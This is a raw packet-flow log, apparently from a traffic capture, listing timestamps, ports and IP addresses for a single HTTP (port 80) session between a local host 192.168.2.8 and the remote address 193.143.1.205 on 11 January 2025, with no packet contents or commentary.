Jan 11, 2025 08:36:58.036878109 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.036891937 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.036905050 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.036911964 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.036937952 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.037367105 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.037415028 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.037427902 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.037448883 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.037471056 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.037575960 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.037586927 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.037596941 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.037610054 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.037637949 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.037651062 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.037808895 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.037821054 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.037832022 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.037844896 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.037858009 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.037858963 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.037893057 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.038453102 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.038465023 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.038475990 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.038508892 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.038536072 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.038573980 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.038585901 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.038597107 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.038609982 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.038630962 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.038654089 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.038688898 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.038769960 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.038781881 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.038793087 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.038805962 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.038845062 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.038845062 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.039284945 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.039334059 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.039355993 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.039369106 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.039419889 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.039506912 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.039520025 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.039530993 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.039561033 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.039645910 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.039658070 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.039669037 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.039680958 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.039693117 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.039695024 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.039705038 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.039725065 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.039736032 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.040241957 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.040282011 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.040301085 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.040313005 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.040323019 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.040361881 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.043138981 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.043864965 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.043878078 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.043888092 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.043925047 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.043955088 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.050759077 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.058373928 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.058387995 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.058465004 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.058507919 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.058520079 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.058532000 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.058556080 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.092526913 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.092550039 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.092562914 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.092618942 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.092736959 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.114629984 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.119648933 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.125893116 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.125972033 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.126008987 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.126044989 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.126058102 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.126079082 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.126080990 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.126135111 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.126187086 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.126204014 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.126223087 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.126276016 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.126311064 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.126343012 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.126348019 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.126348019 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.126394987 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.126430035 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.126440048 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.126465082 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.126498938 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.126503944 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.126535892 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.126601934 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.128855944 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.159888983 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.159954071 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.160007000 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.160024881 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.160041094 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.160080910 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.160092115 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.160124063 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.160156965 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.160166979 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.160206079 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.160262108 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.160263062 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.160291910 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.160326958 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.160346031 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.160362959 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.160413980 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.160423040 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.160449028 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.160481930 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.160500050 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.160517931 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.160563946 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.160571098 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.160604954 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.160638094 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.160671949 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.160686016 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.160722971 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.160744905 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.160757065 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.160794020 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.160799980 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.160831928 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.160865068 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.160891056 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.160901070 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.160979033 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.160984993 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.161010981 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.161056995 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.161062956 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.161096096 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.161128998 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.161163092 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.161165953 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.161200047 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.161204100 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.161312103 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.161345005 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.161360025 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.161381006 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.161434889 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.161461115 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.161494970 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.161529064 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.161552906 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.161612988 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.161645889 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.161679029 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.161679983 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.161715984 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.161736965 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.161751032 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.161783934 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.161808968 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.161835909 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.161869049 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.161879063 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.161901951 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.161935091 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.161952972 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.161969900 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.162004948 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.162014961 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.162180901 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.162215948 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.162240028 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.162271023 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.162303925 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.162312984 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.162338972 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.162384987 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.162404060 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.162512064 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.162545919 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.162573099 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.162580013 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.162615061 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.162619114 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.162648916 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.162683010 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.162731886 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.162919998 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.162952900 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.162985086 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.162986040 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.163018942 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.163048029 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.163053989 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.163086891 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.163106918 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.163120031 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.163152933 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.163172007 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.163189888 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.163242102 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.163244963 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.163279057 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.163333893 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.163336039 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.163368940 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.163408995 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.163439989 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.163472891 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.163507938 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.163523912 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.163573980 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.163606882 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.163634062 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.163676977 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.163711071 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.163744926 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.163779020 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.163784027 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.163784027 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.163813114 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.163846970 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.163873911 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.163882971 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.163933992 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.164032936 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.164066076 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.164100885 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.164122105 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.164129019 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.164181948 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.165704966 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.216945887 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.217048883 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.217103004 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.217138052 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.217170000 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.217171907 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.217207909 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.217237949 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.217252016 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.217261076 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.217297077 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.217330933 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.217364073 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.217366934 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.217397928 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.217412949 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.217453957 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.217488050 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.217521906 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.217524052 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.217575073 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.217581987 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.217608929 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.217643023 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.217658997 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.217677116 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.217710972 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.217739105 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.217745066 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.217780113 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.217838049 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.250876904 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.250891924 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.250911951 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.250925064 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.250938892 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.250946045 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.250988007 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.250988007 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.251064062 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.251077890 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.251089096 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.251111984 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.251193047 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.251205921 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.251254082 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.251341105 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.251353025 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.251365900 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.251396894 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.251398087 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.251403093 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.251415968 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.251427889 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.251439095 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.251462936 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.251481056 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.251791000 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.251804113 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.251815081 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.251833916 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.251837969 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.251847029 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.251866102 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.251872063 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.251883030 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.251895905 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.251904011 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.251909971 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.251951933 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.252023935 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.252037048 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.252048969 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.252060890 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.252067089 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.252077103 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.252115011 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.252115011 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.252294064 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.252306938 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.252320051 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.252331972 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.252345085 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.252357006 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.252367020 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.252367020 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.252370119 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.252382040 CET	80	49705	193.143.1.205	192.168.2.8
Jan 11, 2025 08:36:58.252414942 CET	49705	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:36:58.252414942 CET	49705	80	192.168.2.8	193.143.1.205
